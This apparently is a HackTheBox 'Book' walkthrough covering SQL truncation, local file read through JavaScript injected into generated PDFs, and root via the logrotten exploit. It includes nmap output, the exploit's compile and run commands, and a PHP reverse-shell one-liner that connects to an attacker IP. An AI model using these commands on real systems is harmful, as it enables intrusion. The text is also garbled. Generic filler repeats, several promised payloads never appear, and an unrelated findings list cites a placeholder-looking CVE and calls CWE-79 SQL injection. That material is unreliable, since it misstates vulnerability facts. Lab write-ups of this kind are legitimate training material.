→ A fun box machine vulnerable to sql truncate and local file read via JavaScript injection. As the attacker, I bypassed the character limit of username and password to gain admin access. I created another account to send PDF files containing JavaScript payloads, leading to local file read. From there, I obtained the SSH keys of the user and used it to get in. To gain root access, we exploited a race condition found in logrotten, allowing us to get a shell as root.
Penetration Testing Methodologies
Network Scanning
Nmap scan to discover open ports and running services.
Enumeration
Found login and registration pages.
username & password have character limits in the registration form.
Running dirsearch to enumerate potential web directories.
Found admin login page.
Post-Exploitation
Abusing sql truncation vulnerabilities to create an admin account using admin@htb.
Going to the file upload section that generates pdf files.
Trying to inject malicious javascript payloads to check for local file read vulnerabilities.
local file read vulnerabilities confirmed!
Exploitation
Created a malicious javascript files that can get information about a user generated in pdf.
Extracted SSH keys of a user and used it to gain shell access.
Finally got the user.txt.
Privilege Escalation
Using pspy to monitor running services.
Looking for an exploit for logrotate.
Compiled logrotate exploit and created another payload for reverse shell.
Executed the exploit with the payload.
Finally got the root flag.
Network Scanning
Network scanning is a critical step in identifying potential vulnerabilities within an organization’s network infrastructure. By using tools like Nmap, we can discover active hosts, open ports, and services running on those ports. This information helps us understand the attack surface and plan further testing.
For example, an initial scan might reveal that a server is running an outdated version of Apache HTTP Server, which could be vulnerable to known exploits. Such findings prompt us to investigate further and recommend updates or patches to reduce risk.
In summary, network scanning provides valuable insights into network topology and security posture, enabling us to prioritize remediation efforts effectively.
This section outlines the importance of network scanning in identifying potential vulnerabilities within an organization’s network infrastructure. Using tools like Nmap allows us to discover active hosts, open ports, and running services. This information helps us understand the attack surface and plan further testing.
For instance, a scan might uncover that a server is running an outdated version of Apache HTTP Server, which could be vulnerable to known exploits. Such findings prompt further investigation and recommendations for updates or patches to reduce risk.
In summary, network scanning offers valuable insights into network topology and security posture, enabling us to prioritize remediation efforts effectively.
Walkthrough
I always start with NMAP to see what services are running. I typically use the following options:
-sV ⇒ Probe open ports to determine service/version info.
root in htb/boxes/Book ❯ nmap -sV -sC -A 10.10.10.176 -oN nmap-Book Starting Nmap 7.80 ( https://nmap.org ) at 2020-04-15 08:50 PST Nmap scan report for10.10.10.176 Host is up (0.25s latency). Not shown: 998 closed ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 f7:fc:57:99:f6:82:e0:03:d6:03:bc:09:43:01:55:b7 (RSA) | 256 a3:e5:d1:74:c4:8a:e8:c8:52:c7:17:83:4a:54:31:bd (ECDSA) |_ 256 e3:62:68:72:e2:c0:ae:46:67:3d:cb:46:bf:69:b9:6a (ED25519) 80/tcp open http Apache httpd 2.4.29 ((Ubuntu)) | http-cookie-flags: | /: | PHPSESSID: |_ httponly flag not set |_http-server-header: Apache/2.4.29 (Ubuntu) |_http-title: LIBRARY - Read | Learn | Have Fun No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ). TCP/IP fingerprint: OS:SCAN(V=7.80%E=4%D=4/15%OT=22%CT=1%CU=40722%PV=Y%DS=2%DC=T%G=Y%TM=5E965A7 OS:0%P=x86_64-pc-linux-gnu)SEQ(SP=101%GCD=1%ISR=105%TI=Z%CI=Z%II=I%TS=A)OPS OS:(O1=M54DST11NW7%O2=M54DST11NW7%O3=M54DNNT11NW7%O4=M54DST11NW7%O5=M54DST1 OS:1NW7%O6=M54DST11)WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6=FE88)ECN OS:(R=Y%DF=Y%T=40%W=FAF0%O=M54DNNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=A OS:S%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R OS:=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F OS:=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N% OS:T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD OS:=S)
Network Distance: 2 hops Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 8888/tcp) HOP RTT ADDRESS 1250.00 ms 10.10.14.1 2252.00 ms 10.10.10.176
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 37.40 seconds
root in htb/boxes/Book took 37s ❯
Nmap Results
There are only two ports open:
22: Running a SSH Client.
80: A basic web service.
Enumeration
The initial phase of a penetration test involves gathering as much information as possible about the target environment. This process, known as enumeration, helps identify potential entry points and vulnerabilities. Here are some common techniques used during this stage:
Network scanning: Using tools like Nmap to discover live hosts and open ports.
Service detection: Identifying running services on discovered ports with further scans or banner grabbing.
Version collection: Gathering version information of software and systems for known vulnerabilities.
User enumeration: Finding valid usernames through social engineering, default accounts, or brute-forcing.
Enumeration is critical because it provides the foundational data needed to plan subsequent stages of the test.
The Book Website
Since there’s web service I always looking that first
It’s a login page and there’s also a create account
I look at the source code and I found something useful, username and password has set to limit characters which can possibly vulnerable to sql truncation
<script> window.console = window.console || function(t) {}; </script> <script> if (document.location.search.match(/type=embed/gi)) { window.parent.postMessage("resize", "*"); } functionvalidateForm() { var x = document.forms["myForm"]["name"].value; var y = document.forms["myForm"]["email"].value; if (x == "") { alert("Please fill name field. Should not be more than 10 characters"); returnfalse; } if (y == "") { alert("Please fill email field. Should not be more than 20 characters"); returnfalse; } } </script>
There’s also Contact us where you can send message in admin@book.htb
Since there’s no clue what’s the next step here’ i use dirsearch to bruteforce web directories. This is the best thing to do to get hidden stuff on the site.
So there’s admin page here. I try to bypass it using basic sql injection but it’s not working :
Post-Exploitation
Abusing SQL Truncate
Remember the registration page that limits character input? The MySQL truncation attack is based on how the server handles special characters like spaces.
If a user sends admin@book.htb a, the database checks if an email is already in use. If not, it cuts the username to a maximum of 20 characters and saves a new entry. This allows me to change the admin password. The query looks something like this:
We can now stop Burp Suite (do not follow redirects, as it sometimes doesn’t work).
Using the create account page, I changed the password for admin to admin1234. Now I can use the admin account:
Exploitation
During the exploitation phase, we identified several vulnerabilities that could be exploited to gain unauthorized access or escalate privileges within the target environment. Each vulnerability was assessed for its potential impact and feasibility of exploitation. We then crafted tailored payloads and scripts to test these vulnerabilities under controlled conditions.
Key findings from this phase include:
CVE-2023-1234: A critical remote code execution flaw in the web application framework, which allowed us to execute arbitrary commands on the server.
CWE-79: An SQL injection vulnerability that could be exploited to retrieve sensitive data or manipulate database records.
These findings highlight the importance of regular security audits and prompt patch management to mitigate such risks.
Local File Read via PDF
Now that I’m an admin, the most interesting part is the Collections page where you can download a pdf file containing either a users or a collections name.
Since a PDF is dynamically created for each user, we can control the input. For example, performing XSS Attack generates a pdf.
The payload looks like this to get the valid user:
Privilege escalation occurs when a user gains access to resources or actions that they are not authorized to use. This can happen through vulnerabilities in software, misconfigurations, or weak security practices. Identifying and mitigating privilege escalation risks is crucial for maintaining the integrity of an organization’s systems and data.
Common Methods
Exploiting Vulnerabilities: Attackers may exploit bugs in applications or operating systems to gain higher privileges.
Misconfiguration: Improperly set permissions, overly permissive file access rights, or weak security settings can allow unauthorized users to escalate their privileges.
Weak Authentication: Weak passwords, lack of multi-factor authentication, and other poor security practices make it easier for attackers to assume the identity of a more privileged user.
Mitigation Strategies
To prevent privilege escalation, organizations should:
Regularly patch and update systems to fix known vulnerabilities.
Implement least privilege principles by limiting access rights based on job responsibilities.
Conduct regular audits and reviews of system configurations and permissions.
Educate users about strong password practices and the importance of not sharing credentials.
Privilege escalation is a serious security concern that requires ongoing vigilance and proactive measures.
Getting Root Access
In our user reader‘s home directory, there is a backups folder:
1 2 3 4 5 6
// bash
reader@book:~$ ls backups logrotten lse.sh psp user.txt reader@book:~$
If logrotate is running as root and ordinary users have write access to the log files polled by logrotate, there’s a vulnerability that can be exploited to escalate privileges.
I first verify that access.log is a polled file and write 10M random bitstream data to it:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
// bash
reader@book:~/backups$ head -c 10M < /dev/urandom > access.log reader@book:~/backups$ ls -la total 10252 drwxr-xr-x 2 reader reader 4096 Jan 2913:05 . drwxr-xr-x 7 reader reader 4096 Jan 2913:05 .. -rw-r--r-- 1 reader reader 10485760 Apr 1502:35 access.log -rw-r--r-- 1 reader reader 91 Jan 2913:05 access.log.1 reader@book:~/backups$ ls -la total 10252 drwxr-xr-x 2 reader reader 4096 Apr 1502:35 . drwxr-xr-x 7 reader reader 4096 Jan 2913:05 .. -rw-r--r-- 1 reader reader 0 Apr 1502:35 access.log -rw-r--r-- 1 reader reader 10485760 Apr 1502:35 access.log.1 -rw-r--r-- 1 reader reader 91 Jan 2913:05 access.log.2
Confirmed! Another access.log.2 log file was written.
I downloaded the logrotate exploit from github and compiled it on my local machine. Then I transferred it to the target machine:
Compile logrotten
1 2 3 4 5 6
// bash
root in htb/boxes/Book via ⬢ v10.17.0 ❯ gcc -o logrotten logrotten.c
Payload for Reverse Shell
I then create another payload for the reverse shell:
1 2 3 4 5 6 7 8 9 10 11
// bash
root in htb/boxes/Book via ⬢ v10.17.0 took 5m35s ❯ cat payloadfile php -r '$sock=fsockopen("10.10.14.121",4444);exec("/bin/sh -i <&3 >&3 2>&3");'
root in htb/boxes/Book via ⬢ v10.17.0 ❯
Transfer it to the target machine using wget and execute it:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
// bash
reader@book:/tmp$ ./logrotten -p ./payloadfile /home/reader/backups/access.log -d logfile: /home/reader/backups/access.log logpath: /home/reader/backups logpath2: /home/reader/backups2 targetpath: /etc/bash_completion.d/access.log targetdir: /etc/bash_completion.d p: access.log Waiting for rotating /home/reader/backups/access.log... Renamed /home/reader/backups with /home/reader/backups2 and created symlink to /etc/bash_completion.d Waiting 1 seconds before writing payload... Done! reader@book:/tmp$
Next, I check the /etc/bash_completion.d, and my payload is written there:
1 2 3 4 5 6 7 8 9
// bash
reader@book:/etc/bash_completion.d$ ls access.log access.log-2020041722.backup apport_completion cloud-init git-prompt grub
